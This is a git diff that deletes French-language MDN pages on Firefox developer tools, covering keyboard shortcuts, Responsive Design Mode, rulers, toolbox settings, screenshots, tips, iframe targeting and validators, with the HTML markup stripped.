Défiler vers l'avant parmi les attributs du nœudTabTabTab
Défiler vers l'arrière parmi les attributs du nœudMaj + TabMaj + TabMaj + Tab
(Lorsqu'un nœud est sélectionné) Commencer à modifier l'attribut sélectionnéEntréeEntréeEntrée
Masquer/Afficher le nœud sélectionnéHHH
Focus sur le champs de recherche du panneau HTMLCtrl + FCmd + FCmd + F
Éditer le code HTMLF2F2F2
Arrêter d'éditer le code HTMLF2 / Ctrl +EntréeF2 / Cmd +EntréeF2 / Ctrl +Entrée
Copier l'extérieur du HTML du noeud sélectionné (depuis Firefox 42)Ctrl + CCmd + CCtrl + C
Faire défiler jusqu'à ce que le noeud soit visible (depuis Firefox 44)SSS
Trouver la prochaine occurrence dans le markup, lorsque que la recherche est active.EntréeEntréeEntrée
Trouver l'occurrence précédente dans le markup, lorsque que la recherche est active (depuis Firefox 48).Maj + EntréeMaj + EntréeMaj + Entrée
- -

Fil d'ariane

- -

Ces raccourcis fonctionnent lorsque le fil d'Ariane est sélectionné.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CommandeWindowsmacOSLinux
Aller à l'élément précédent dans le fil d'Ariane.Flèche gaucheFlèche gaucheFlèche gauche
Aller à l'élément suivant dans le fil d'Ariane.Flèche droiteFlèche droiteFlèche droite
Sélectionner le panneau HTMLMaj + TabMaj + TabMaj + Tab
Sélectionner le panneau CSSTabTabTab
- -

Onglet CSS

- -

Ces raccourcis fonctionnent dans le onglet CSS de l'Inspecteur.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CommandeWindowsmacOSLinux
Sélectionner la barre de recherche dans la panneau CSSCtrl + FCmd + FCtrl + F
Supprimer le contenu de la boite de recherche (seulement lorsque la boîte est sélectionnée, et contient du contenu)EchapEchapEchap
Défiler vers l'avant parmi les propriétés et les valeursTabTabTab
Défiler vers l'arrière parmi les propriétés et les valeursMaj + TabMaj + TabMaj + Tab
Commencer à éditer une propriété ou une valeur (dans la vue des règles seulement quand une valeur est sélectionnée et n'a pas été éditéeEntrée ou EspaceRetour ou EspaceEntrée ou Espace
Itérer parmi les suggestions d'autocomplétion (dans la vue des règles, quand une valeur est en éditionFlèche haut , Flèche basFlèche haut , Flèche basFlèche haut , Flèche bas
Choisir la suggestion d'autocomplétion sélectionnée (dans les vues des règles, quand une propriété ou une valeur est en édition)Entrée ou TabRetour ou TabEntrée ou Tab
Incrémenter la valeur sélectionnée de 1Flèche HautFlèche HautFlèche Haut
Décrémenter la valeur sélectionnée de 1Flèche BasFlèche BasFlèche Bas
Incrémenter la valeur sélectionnée de 10Maj + Flèche HautMaj + Flèche HautMaj + Flèche Haut
Décrémenter la valeur sélectionnée de 10Maj + Flèche BasMaj + Flèche BasMaj + Flèche Bas
Incrémenter la valeur sélectionnée de 100Maj + Page HautMaj + Page HautMaj + Page Haut
Décrémenter la valeur sélectionnée de 100Maj + Page BasMaj + Page BasMaj + Page Bas
Incrémenter la valeur sélectionnée de 0.1Alt + Flèche Haut (Ctrl + Flèche Haut depuis Firefox 60)Opt + Flèche HautAlt + Flèche Haut (Ctrl + Flèche Haut depuis Firefox 60)
Décrémenter la valeur sélectionnée de 0.1Alt + Flèche Bas(Ctrl + Flèche Bas depuis Firefox 60)Opt + Flèche BasAlt + Flèche Bas (Ctrl + Flèche Bas depuis Firefox 60)
-

Afficher/Masquer plus d'informations sur la propriété sélectionnée (vue "Calculé", quand une propriété est sélectionnée) (depuis Firefox 49)

- 		Entrée ou EspaceEntrée ou EspaceEntrée ou Espace
Ouvrir la page MDN concernant la propriété sélectionnée (vue "Calculé", quand une propriété est sélectionnée) (depuis Firefox 49)F1F1F1
Ouvrir le fichier CSS sélectionnée (vue "Calculé", quand plus d'informations sont affichées pour une propriété et qu'un fichier CSS en référence est sélectionné) (depuis Firefox 49)EntréeRetourEntrée
-
- -

Débogueur

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CommandeWindowsmacOSLinux
Rechercher une chaine de caractères dans la source actuelleCtrl + FCmd + FCtrl + F
Rechercher une chaine de caractères dans toutes les sourcesCtrl + Maj + FCmd + Maj + FCtrl + Maj + F
Chercher le suivant dans la source actuelleCtrl + GCmd + GCtrl + G
Rechercher les scripts par nomCtrl + PCmd + PCtrl + P
Reprendre l'exécution depuis un point d'arrêtF8F8 1F8
Passer la fonctionF10F10 1F10
Entrer dans la fonctionF11F11 1F11
Sortir de la fonctionMaj + F11Maj + F11 1Maj + F11
Ajouter/Supprimer un point d'arrêt sur la ligne sélectionnéeCtrl + BCmd + BCtrl + B
Ajouter/Supprimer un point d'arrêt conditionnel sur la ligne sélectionnéeCtrl + Maj + BCmd + Maj + BCtrl + Maj + B
- -

1. Sur certains Mac, les touches fonctions sont reconfigurées par défaut pour une fonction particulière, comme le réglage du volume ou de la luminosité. Consultez ce guide pour utiliser ces touches comme des touches fonctions standards. Pour utiliser une touche reconfigurée comme une touche standard, maintenir la touche fonction enfoncée (ainsi pour ouvrir le profileur, utiliser Maj + Function + F5).

- -
-

Note: Avant Firefox 66, la combinaison Ctrl + Maj + S sur Windows et Linux ou Cmd + Opt + S sur macOS ouvrait/fermait le Débogueur. Depuis Firefox 66, ce n'est plus le cas

-
-
- -

Console Web

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CommandeWindowsmacOSLinux
Ouvrir la console WebCtrl + Maj + KCmd + Opt + KCtrl + Maj + K
Rechercher le texte dans les messages de la consoleCtrl + FCmd + FCtrl + F
Ouvrir le panneau de l'inspecteur d'objectCtrl + ClicCtrl + ClicCtrl + Clic
Fermer le panneau de l'inspecteur d'objetÉchapÉchapÉchap
Focus sur la ligne de commandeCtrl + Maj + KCmd + Opt + KCtrl + Maj + K
Effacer les messages -

Ctrl + Maj + L

- 		-

Cmd + L

- -

Depuis Firefox 67 :

- -

Cmd + K

- 		-

Ctrl + Maj + L

-
- -

Interpréteur de ligne de commande

- -

Ces raccourcis fonctionnent lorsque vous êtes dans al popup de l'interpréteur de ligne de commande.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CommandeWindowsmacOSLinux
Si la ligne de commande est vide : revenir au début des messages de la consoleDébutDébutDébut
Si la ligne de commande est vide : défile jusqu'à la fin des messages dans la consoleFinFinFin
Défilement vers le haut de la sortie de la consolePage HautPage HautPage Haut
Défilement vers le bas de la sortie de la consolePage BasPage BasPage Bas
Reculer dans l'historique des commandesFlèche HautFlèche HautFlèche Haut
Avancer dans l'historique des commandesFlèche BasFlèche BasFlèche Bas
Initie une recherche inverse dnas l'historiqueme des commandes/revient en arrière parmis les commandes correspondantesF9F9F9
Itérer en avant parmis les commandes coresspondantes (après avoir initié une recherche inverse)  Maj+ F9  Maj+ F9  Maj+ F9
Aller au début de la ligneDébutCmd + ACtrl + A
Aller à la fin de la ligneFinCmd + ECtrl + E
Exécuter l'expression couranteEntréeRetourEntrée
Ajouter une nouvelle ligne, pour saisir des expressions multilignesMaj + EntréeMaj + RetourMaj + Entrée
- -

Fenêtre d'auto-complétion

- -

Ces raccourcis fonctionnent lorsque fenêtre d'auto-complétion est ouvert :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CommandeWindowsmacOSLinux
Choisir la suggestion d'auto-complétion couranteTabTabTab
Annuler la fenêtre d'auto-complétionÉchapÉchapÉchap
Aller à la précédente suggestion d'auto-complétionFlèche HautFlèche HautFlèche Haut
Aller à la prochaine suggestion d'auto-complétionFlèche BasFlèche BasFlèche Bas
Défiler vers le haut dans les suggestions d'auto-complétionPage HautPage HautPage Haut
Défiler vers le bas dans les suggestions d'auto-complétionPage BasPage BasPage Bas
Défile jusqu'au début des suggestions d'auto-complétion (à partir de Firefox 34)DébutDébutDébut
Défile jusqu'à la fin des suggestions d'auto-complétion (à partir de Firefox 34)FinFinFin
-
- -

Éditeur de style

- -
- - - - - - - - - - - - - - - - - - - - - -
CommandeWindowsmacOSLinux
Ouvrir l'Éditeur de styleMaj + F7Maj + F7Maj + F7
Ouvrir la fenêtre d'auto-complétionCtrl + EspaceCmd + EspaceCtrl + Espace
-
- -
-

Ardoise JavaScript

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CommandeWindowsmacOSLinux
Ouvrir l'ArdoiseMaj + F4Maj + F4Maj + F4
Exécuter le code de l'ArdoiseCtrl + RCmd + RCtrl + R
Exécuter le code de l'Ardoise, afficher le résultat dans l'inspecteur d'objetsCtrl + ICmd + ICtrl + I
Exécuter le code de l'Ardoise, insérer le résultat en tant que commentaireCtrl + LCmd + LCtrl + L
Réévaluer la fonction couranteCtrl + ECmd + ECmd + E
Recharger le document courant puis exécuter le code de l'ArdoiseCtrl + Maj + RCmd + Maj + RCtrl + Maj + R
Enregistrer le fichierCtrl + SCmd + SCtrl + S
Ouvrir un fichier existantCtrl + OCmd + OCtrl + O
Créer un nouveau fichierCtrl + NCmd + NCtrl + N
Fermer l'ArdoiseCtrl + WCmd + WCtrl + W
Formater et indenter dans l'ArdoiseCtrl + PCmd + PCtrl + P
Afficher les suggestions d'auto-complétion (nouveauté de Firefox 32)Ctrl + EspaceCtrl + EspaceCtrl + Espace
Afficher la documentation intégrée (nouveauté de Firefox 32)Maj + EspaceMaj + EspaceMaj + Espace
Afficher la documentation intégrée (à partir de Firefox 33)Ctrl + Maj + EspaceCtrl + Maj + EspaceCtrl + Maj + Espace
-
- -
-

Pipette

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CommandeWindowsmacOSLinux
Sélectionner la couleur couranteEntréeEntréeEntrée
Désactiver la pipetteÉchapÉchapÉchap
Déplacer de 1 pixelFlèchesFlèchesFlèches
Déplacer de 10 pixelsMaj + FlèchesMaj + FlèchesMaj + Flèches
-
diff --git a/files/fr/outils/responsive_design_mode_(before_firefox_52)/index.html b/files/fr/outils/responsive_design_mode_(before_firefox_52)/index.html deleted file mode 100644 index 086a531ea3..0000000000 --- a/files/fr/outils/responsive_design_mode_(before_firefox_52)/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Vue Adaptative (avant Firefox 52) -slug: Outils/Responsive_Design_Mode_(before_Firefox_52) -translation_of: Tools/Responsive_Design_Mode -translation_of_original: Tools/Responsive_Design_Mode_(before_Firefox_52) ---- -
{{ToolsSidebar}}
-

Cette page décrit la Vue Adaptative telle qu'elle apparait avant Firefox 52.  Il est également possible d'avoir cette version de l'outil si le  support multiprocessus (e10s) est désactivé. Pour l'article décrivant la version ultérieure à Firefox 52, voir Vue Adaptative.

-
- -

Un responsive design est un design qui s'adapte à différentes tailles d'écrans, afin que la présentation soit optimale sur tous les types d'appareils utilisés, tels que les smartphones ou les tablettes. Le mode « vue adaptative » permet de voir facilement le rendu de votre design sur des écrans de tailles différentes.

- -

La capture d’écran ci-dessous montre une page de la version mobile de Wikipédia, vue dans une zone de contenu de 320×480.

- -

- -

La vue adaptative est utile, car elle permet de changer rapidement la taille de cette zone de contenu.

- -

Bien sûr, vous pourriez simplement redimensionner la fenêtre du navigateur. Mais cela peut être gênant, car tous les onglets sont alors redimensionnés. Et cela peut rendre l'interface du navigateur bien plus dure à utiliser.

- -

Quand la vue adaptative est activée, vous pouvez continuer à naviguer normalement dans la zone de contenu redimensionnée.

- -

Activation et désactivation

- -

Il existe trois façons d’activer la vue adaptative :

- -
    -
  • Dans le menu de Firefox, sélectionner le sous-menu Développement puis Vue adaptative (ou le menu Outils si la barre de menus est affichée ou si vous êtes sur OS X).
    • -
  • Appuyer sur le bouton Vue adaptative de la barre d’outils de développement.
    • -
  • Sur le clavier, appuyer sur Ctrl+Maj+M pour Windows ou Linux, ou Cmd+Option+M pour OS X.
    • -
- -

Pour désactiver la vue adaptative :

- -
    -
  • Sélectionner à nouveau Vue adaptative dans le menu de Firefox.
    • -
  • Cliquer sur le bouton de fermeture en haut à gauche de la fenêtre.
    • -
  • Sur le clavier, appuyer à nouveau sur Ctrl+Maj+M, ou sur Échap.
    • -
- -

Redimensionnement

- -

Vous pouvez redimensionner la zone de contenu de deux façons différentes :

- -
    -
  • en utilisant le contrôle "Sélectionner la taille
    • -
  • en cliquant-glissant les contrôles situés à droite et en bas, ou celui dans le coin en bas à droite.
    • -
- -

Si vous redimensionnez en utilisant le cliquer-glisser, vous pouvez maintenir la touche CTRL (cmd sous Mac) enfoncée pour ralentir la vitesse de redimensionnement afin d'être plus précis.

- -

 

- -
-

Contrôles de la vue adaptative

- -

- -

En haut de la page sur laquelle la vue adaptative est active se trouvent les six contrôles suivants :

- -
-
Fermer
-
Fermer la vue adaptative et retourner à la navigation normale.
-
Sélectionner la taille
-
Sélectionner une résolution parmi des combinaisons de largeur x hauteur; ou définir sa propre résolution
-
Orientation
-
Alterner entre la vue portrait et paysage.
-
Simuler les événements tactiles
-
Activer/Désactiver la simulation des événements tactiles : quand cette option est active, les mouvements de la souris sont convertis en événements tactiles.
-
Capture d'écran
-
Prendre une capture d'écran de la zone de contenu. Les captures d'écrans seront sauvées dans le dossier de téléchargements de Firefox.
-
Définir un User Agent personnalisé
-
Nouveau dans Firefox 47. Entrer une chaine de caractère User Agent et sortir de la boite. Alors la boite deviendra bleue pour signifier que la chaine est utilisée. Firefox inclura la chaine donnée dans les requêtes effectuées uniquement depuis cet onglet. C'est utile pour les sites qui affichent différents contenus en se basant sur le UA sniffing. Supprimer la chaine remet le comportement par défaut.
-
-
- -

 

diff --git a/files/fr/outils/rulers/index.html b/files/fr/outils/rulers/index.html deleted file mode 100644 index fc08120e48..0000000000 --- a/files/fr/outils/rulers/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Règles -slug: Outils/Rulers -translation_of: Tools/Rulers ---- -
{{ToolsSidebar}}
- -

Il est possible de superposer des règles verticales et horizontales dans une page web :

- -

Les unités sont en pixels.

- -

Les dimensions de la fenêtre sont affichées en haut en droite de celle-ci.

- -

Pour pouvoir utiliser cet outil, il est nécessaire d'activer son bouton dédié en cochant la case "Afficher/Masquer les règles pour la page" dans la catégorie "Boutons de la boîte à outils" des options des outils de développement.

- -

- -

Une fois activé le bouton "Afficher/Masquer les règles pour la page" apparait en haut à droite de la barre d'outils à coté du bouton des options.

- -

- -

Comportements à garder à l'esprit lors de l'utilisation des règles :

- -
    -
  • Les commandes rulers doivent être réappliquées pour chaque nouvel onglet et pour chaque rafraichissement.
    • -
  • La commande n'est pas permanente.
    • -
diff --git a/files/fr/outils/settings/index.html b/files/fr/outils/settings/index.html deleted file mode 100644 index 485f527522..0000000000 --- a/files/fr/outils/settings/index.html +++ /dev/null @@ -1,168 +0,0 @@ ---- -title: Options -slug: Outils/Settings -translation_of: Tools/Settings ---- -
{{ToolsSidebar}}
- -

Ouvrir les options

- -

À partir de Firefox 62, l'icône pour afficher les options des outils de développement a été déplacé dans un menu accessible en cliquant sur les "..." tout à droite de la fenêtre :

- -

- -

Ce menu inclut les options d'emplacement des outils. Il est possible de les afficher en bas, à droite, à gauche, ou bien dans une fenêtre séparée.

- -

Le menu inclut également l'option "Afficher la console scindée" qui permet d'ajouter la Console Web en bas de n'importe quel autre outil. Cela permet d'afficher une ou deux lignes de messages, et surtout de rendre disponible la ligne de commande.

- -

- -

La dernière option, l'option "paramètres" affiche les autres options des outils de développement. Cela ressemble à ceci :

- -

Depicts the Toolbox options

- -

Catégories

- -

Outils de développement par défaut

- -

Ce groupe de cases à cocher détermine quels outils sont activés dans la boit à outils. Les nouveaux outils sont souvent inclus dans Firefox, mais ne sont pas activés par défaut.

- -

Boutons de la boite à outils

- -

Ce groupe de cases à cocher détermine quels outils possèdent une icône dans la barre d'outils.

- -

Depuis Firefox 62, si l'option "Sélectionner un iframe en tant que document cible" est activée, l'icône apparaitra dans la barre d'outils, et ce même si la page ne contient aucun iframe.

- -

Il est à noter que depuis Firefox 52 l'option "Sélectionner un élément" a été supprimée. Le bouton "Sélectionner un élément" est maintenant toujours présent.

- -

Thèmes

- -

Cette option permet de choisir un des deux thèmes :

- - - -

Préférences générales

- -

Ce sont les options qui s'appliquent à plusieurs outils. Il n'y a qu'une seule option :

- -
-
Activer les journaux persistants
-
Elle sert à contrôler si les outils Console et Réseau vident leur contenu lors d'un changement de page.
-
- -
-

Si les préférences générales ne sont pas incluses dans les options, les journaux persistants peuvent être activés en utilisant l'url 'about:config' du navigateur et passer la clé 'devtools.webconsole.persistlog' à true

-
- -

Inspecteur

- -
-
Afficher les styles du navigateur
-
Contrôle les styles appliqués par le navigateur (user-agent styles) doivent être affichées dans la vue des Règles. Il est à noter que cette option est indépendante de l'option "Styles navigateur" dans la vue "Calculé".
-
Tronquer les attributs DOM
-
Par défaut, l'Inspecteur tronque les attributs DOM de plus de 120 caractères. Décocher cette case empêche ce comportement. Cette option fonctionne en activant/désactivant la préférence "devtools.markup.collapseAttributes dans la page about:config. Pour changer la limite de caractères, il est possible d'éditer la préférence "devtools.markup.collapseAttributeLength", toujours dans la page about:config.
-
Unité par défaut pour les couleurs
-
Cette option permet de contrôler l'unité des couleurs représentées dans l'Inspecteur. Les différentes valeurs sont : -
    -
  • Hex
    • -
  • HSL(A)
    • -
  • RGB(A)
    • -
  • noms de couleur
    • -
  • unité d'origine
    • -
-
-
- -

Console web

- -
-
Activer l'horodatage
-
Contrôle si la Console affiche les timestamp. Par défaut cette option n'est pas activée.
-
Enable new console frontend (l'option n'est pas traduite dans les outils de développement)
-
Active la nouvelle Console expérimentale. Cette option n'est disponible que dans Firefox Nightly
-
- -

Débogueur

- -
-
Afficher les sources originales
-
Activer le support des source map dans le Débogueur.
-
Enable new debugger frontend (l'option n'est pas traduite dans les outils de développement)
-
Active le nouveau Débogueur. Enable the new debugger. Cette option n'est disponible que dans Firefox Nightly
-
- -

Éditeur de style

- -
-
Afficher les sources originales
-
Lorsqu'un préprocesseur supportant les sources maps est utilisé, cette option permet à l'Éditeur de style d'afficher les sources originales du préprocesseur plutôt que le CSS généré. Vous pouvez en apprendre plus sur le support des sources maps CSS ici.. Lorsque cette option est activée la vue des règles de l'Inspecteur affichera également un lien vers les sources originales.
-
Compléter automatiquement le CSS
-
Autorise l'Éditeur de style à offrir des suggestions d'autocomplétion.
-
-

Comportement pour les captures d'écran

-
-
Enregistrer dans le presse-papiers
-
Copie l'image dans le presse papier lors d'un clic sur l'outil Capture d'écran (l'image sera également enregistrée dans le dossier Téléchargement). Nouveau dans Firefox 53.
-
Jouer un son d'obturateur d'appareil photo
-
Lors d'un clic sur l'outil Capture d'écran, un son sera joué. Nouveau dans Firefox 53.
-
- -

Préférences de l'éditeur

- -

Préférences de l'éditeur de code source CodeMirror, qui est inclut dans Firefox et utilisé dans plusieurs outils de développement (incluant l'Ardoise JavaScript et l'Éditeur de style.

- -
-
Détecter l'indentation
-
indenter automatiquement les nouvelles lignes en se basant sur l'indentation actuelle..
-
Fermer automatiquement les parenthèses et les accolades
-
Détermine si rentrer un caractère ouvrant comme [ ou { causera l'éditeur à insérer automatiquement un caractère fermant comme ] ou }.
-
Indenter à l'aide d'espaces
-
Si coché, l'indentation sera faite en utilisant des espaces, si désactivé, l'indentation sera faite en utilisant des tabulations.
-
Taille des tabulations
-
La taille des tabulations dans l'éditeur. Les options possibles sont 2, 4, ou 8.
-
Raccourcis clavier
-
Permet de choisir les raccourcis clavier par défaut de CodeMirror, il y a le choix entre : -
    -
  • Vim
    • -
  • Emacs
    • -
  • Sublime Text
    • -
-
-
- -

Paramètres avancés

- -
-
Afficher les données de la plate-forme Gecko
-
Cette option sert à contrôler si les profils doivent inclure des symboles de la plateforme Gecko ou non.
-
- -
-
Désactiver le cache HTTP
-
Désactive le cache HTTP pour simuler les performances du premier chargement. Cela s'applique à tout les onglets qui ont la boite à outils ouverte. Cette option est persistante, cela veut dire que si elle est activée, la mise en cache sera désactivée à chaque réouverture des outils de développement. La mise en cache est automatiquement réactivée lorsque les outils de développement sont fermés. Il est à noter que les service workers ne sont pas affectés par cette option. -
Note : Cette option était appelée "Désactiver le cache" dans les versions antérieures à Firefox 49. Elle a été renommée afin de rendre plus explicite le fait que cette option n'affecte que le cache HTTP et pas les Service Workers ou le Cache API.
-
-
Désactiver le JavaScript
-
Recharge la page actuelle avec le JavaScript désactivé.
-
Activer les Service Workers via HTTP
-
Autorise les enregistrements de Service Worker depuis des sites web non sécurisés.
-
Activer le débogage du chrome du navigateur et des modules
-
Permet d'utiliser les outils de développement dans le contexte du navigateur lui-même au lieu du contenu web uniquement.
-
Activer le débogage distant
-
Autorise le débogage des instances de Firefox distantes.
-
Activer le débogage des workers
-
Active un panneau dans le Débogueur pour déboguer les workers. -

Note: Cette option a été supprimée de l'interface utilisateur dans Firefox 56, car cette version contient une nouvelle interface utilisateur du Débogueur, l'option peut toujours être activée pour l'ancienne interface en passant la préférence devtools.debugger.workers à true dans (about:config).

-
-
diff --git a/files/fr/outils/taking_screenshots/index.html b/files/fr/outils/taking_screenshots/index.html deleted file mode 100644 index 5e1fda8c8f..0000000000 --- a/files/fr/outils/taking_screenshots/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Taking screenshots -slug: Outils/Taking_screenshots -tags: - - Outils -translation_of: Tools/Taking_screenshots ---- -
{{ToolsSidebar}}
- -

Il est possible d'utiliser les outils de développement pour prendre une capture d'écran de la page entière, ou d'un unique élément de la page.

- -

Prendre une capture d'écran de la page

- -

Utilisez le bouton de capture d'écran: pour prendre une capture d'écran en pleine page de la page actuelle.

- -

Par défaut, le bouton de capture d'écran n'est pas activé. Pour l'activer :

- -
    -
  • Visitez la page Paramètres
    • -
  • Touvez la section nommée « Boutons de la boîte à outils »
    • -
  • Cochez la case « Prendre une capture d'écran de la page entière ».
    • -
- -

Vous verrez dorénavant le bouton dans la barre d'outils :

- -

{{EmbedYouTube("KB5V9uJgcS4")}}

- -

Cliquez sur le bouton pour faire une capture d'écran de la page en cours. La capture est enregistrée dans le dossier « Téléchargements » de votre navigateur.

- -

{{EmbedYouTube("HKS6MofdXVE")}}

- -

Prendre la capture d'écran d'un élément

- -

Pour prendre une capture d'écran d'un seul élément dans la page, activez le menu contextuel de cet élément dans le panneau HTLM, et sélectionnez « Prendre une capture du nœud ». La capture d'écran est enregistrée dans le dossier « Téléchargements » du navigateur :

- -

{{EmbedYouTube("p2pjF_BrE1o")}}

- -

Copier des captures d'écran dans le presse-papier

- -

Dans Firefox 53, il est possible de copier la  capture d'écran dans le presse-papier. Pensez à cocher la case « Enregistrer dans le presse-papiers » :

- -

{{EmbedYouTube("AZedFGh6F78")}}

- -

Maintenant, dès que vous effectuerez une capture d'écran, celle-ci sera automatiquement copiée dans le presse-papier.

- -

Options additionnelles

- -

Depuis Firefox 62, il est possible de préciser un ratio-pixel, de mettre un délai avant la capture, ou de spécifier le nom du fichier. Pour cela, il faut utiliser la fonction d'aide :screenshot dans la Console Web.

diff --git a/files/fr/outils/tips/index.html b/files/fr/outils/tips/index.html deleted file mode 100644 index 45a45cf7c1..0000000000 --- a/files/fr/outils/tips/index.html +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: Astuces -slug: Outils/Tips -tags: - - Dev Tools - - Développement Web - - Outils - - outils de développement -translation_of: Tools/Tips ---- -
{{ToolsSidebar}}
- -

Géneral

- -

Capture d'écran:

- - - -

Paramètres:

- - - -

Inspecteur de page

- -

Dans l'onglet Inspecteur:

- -
    -
  • Pressez H quand un noeud est sélectionné pour le cacher/l'afficher.
    • -
  • Pressez Retour ou Suppr quand un noeud est sélectionné pour le supprimer.
    • -
  • Alt + clic sur un noeud pour le développer/réduire lui-même ainsi que l'ensemble de ses noeuds enfants.
    • -
  • Cliquez sur le dernier élément du fil d’Ariane pour faire défiler la sélection dans l'inspecteur de page.
    • -
  • Cliquez sur l’icône "ev" à côté du noeud pour voir tous les évènements qui écoutent sur ce noeud.
    • -
  • Pressez S avec un noeud sélectionné pour le voir dans la page (idem qu'un clic-droit sur un noeud puis "Faire défiler la vue jusqu'au noeud").
    • -
  • Cliquez-droit sur un noeud et cliquez sur "Utiliser dans la console" pour utiliser la ligne de commande avec ce noeud en tant que variable tempN.
    • -
- -

Lors de la sélection des éléments:

- -
    -
  • Maj + clic pour sélectionner un élément en conservant la sélection (Le mode sélection ne se désengage pas).
    • -
  • Utilisez ←/→ pour naviguer sur l’élément parent/enfant (si ils sont trop durs à sélectionner).
    • -
- -

Dans la vue des règles CSS:

- -
    -
  • Cliquez sur l’Icône d'inspection () à côté de n'importe quel sélecteur pour surligner tous les éléments qui correspondent.
    • -
  • Cliquez sur l'icône d'inspection () à côté de la règle de l'element{} pour bloquer le surlignage sur l'élément courant.
    • -
  • Cliquez droit sur n'importe quelle propriété et sélectionnez "Afficher la documentation MDN" pour voir la documentation MDN pour cette propriété.
    • -
  • Cliquez sur l'icône de filtre () à côté d'une propriété surchargée pour trouver quelle autre propriété la surcharge.
    • -
  • Cliquez-droit sur un nom, une valeur, une règle pour copier n'importe quel nom, valeur, déclaration ou la règle complète dans le presse-papier.
    • -
- -

Console web

- -

Dans tous les onglets:

- -
    -
  • Esc ouvre la console scindée utile lors du debug, ou l'inspection des noeuds.
    • -
- -

Dans la ligne de commande:

- -
    -
  • $0 fait référence au noeud actuellement selectionné.
    • -
  • $() est un raccourci pour {{domxref("document.querySelector()")}}.
    • -
  • $$() retourne sous forme d'un tableau les résultats de {{domxref("document.querySelectorAll()")}}.
    • -
  • copy copie tout comme une chaîne.
    • -
  • Cliquez-droit sur un noeud de l'Inspecteur puis cliquez sur "Utiliser dans la Console" pour créer une variable tempN de ce noeud.
    • -
  • cd bascule le contexte d'évaluation JavaScript dans un iframe différent dans la page.
    • -
  • console.table() affiche des données tabulaires dans un tableau.
    • -
  • help ouvre la page MDN de description des commandes disponibles.
    • -
  • :screenshot <filename.png> --fullpage enregistre une capture d'écran dans le dossier "Téléchargements" en utilisant avec le nom du fichier s'il est renseigné en option. Sans nom spécifique le nom sera de ce format-ci: [Date de la Capture] at [heure de la capture].png
    -
    - Le paramètre --fullpage est optionnel, s'il est inclus, la capture couvrira la page entière, pas juste la partie visible dans la fenêtre de navigation. Le nom du fichier aura également le sufixe "-fullpage". Voir Fonctions d'aides de la Console pour une liste de tous les paramètres.
    • -
- -

Dans la sortie de la console:

- - - -

Débogueur

- -
    -
  • Éviter les bibliothèques JavaScript durant la session de débogage via l'icône de boite noire (Icon for black boxing a JavaScript source).
    • -
  • Pressez Ctrl+Alt+F pour rechercher dans tous les scripts.
    • -
  • Pressez Ctrl+D pour rechercher la définition d'une fonction.
    • -
  • Pressez Ctrl+L pour aller à une ligne spécifique.
    • -
- -

Éditeur de feuilles de style CSS

- -
    -
  • L'icône de boite noire (Icon for black boxing a JavaScript source) du panneau des feuilles de style permet d'afficher ou de cacher une feuille de style.
    • -
  • Cliquez sur une règle @media  pour l'appliquer dans la Vue adaptative.
    • -
  • Cliquez sur le bouton d'import (Button to import a style sheet from the file system) pour importer une feuille de style ou le bouton de création (Button to create a new style sheet) pour en créer une nouvelle.
    • -
  • Cliquez sur le bouton d'option du panneau des feuilles de style et cliquez sur "Afficher les sources originales" pour basculer vers l'affichage des fichiers du pré-processeur CSS.
    • -
- -

Réseau

- - - -

Stockage

- -
    -
  • Cliquez-droit sur l'en-tête de la colonne pour ouvrir un menu permettant de changer l'affichage de la colonne.
    • -
  • Cliquez-droit sur une entrée et cliquez sur "Supprimer nom" pour la supprimer ou "Tout supprimer" pour supprimer toute les entrées.
    • -
  • Sélectionnez une entrée pour voir sa valeur dans la barre latérale.
    • -
diff --git a/files/fr/outils/travailler_avec_les_iframes/index.html b/files/fr/outils/travailler_avec_les_iframes/index.html deleted file mode 100644 index 114074c320..0000000000 --- a/files/fr/outils/travailler_avec_les_iframes/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Travailler avec les iframes -slug: Outils/Travailler_avec_les_iframes -tags: - - DevTools - - Frames - - Tools - - debogueur - - iframe - - outils de développement -translation_of: Tools/Working_with_iframes ---- -
{{ToolsSidebar}}
- -

Il est possible d'assigner les outils de développement à un iframe spécifique à l’intérieur d'un document.

- -

{{EmbedYouTube("Me9hjqd74m8")}}

- -

Il existe un bouton dans la barre d'outils :

- -

Cliquer dessus affichera une liste de tous les iframes du document en pop up ainsi que le document lui même.

- -

- -

Sélectionner une entrée de la liste fera que tous les outils de développement - l'Inspecteur, la console, le Débogueur etc. -  seront assignés uniquement à cet iframe qui se comportera comme si le reste de la page n'existait pas.

diff --git a/files/fr/outils/validateurs/index.html b/files/fr/outils/validateurs/index.html deleted file mode 100644 index d2a3c64358..0000000000 --- a/files/fr/outils/validateurs/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Validateurs -slug: Outils/Validateurs -tags: - - Tools -translation_of: Tools/Validators ---- -
{{ToolsSidebar}}

Ce document liste les différentes ressources aidant les développeurs à valider leurs pages web.

- -
Les onglets de la barre latérale ne sont pas encore disponibles.
-L'assistant de mise en conformité renverra vers Devedge
-
- -

Si vous écrivez du code qui ne valide pas, regardez du côté des outils respectueux des standards et des outils de développement.

- -

Extension Firefox pour la validation

- -

Panneau des références rapides pour la barre latérale

- -

Installez le panneauDevEdge Toolbox pour la barre latérale pour accéder rapidement aux références rapides de développement Web.

- -

Checky

- -

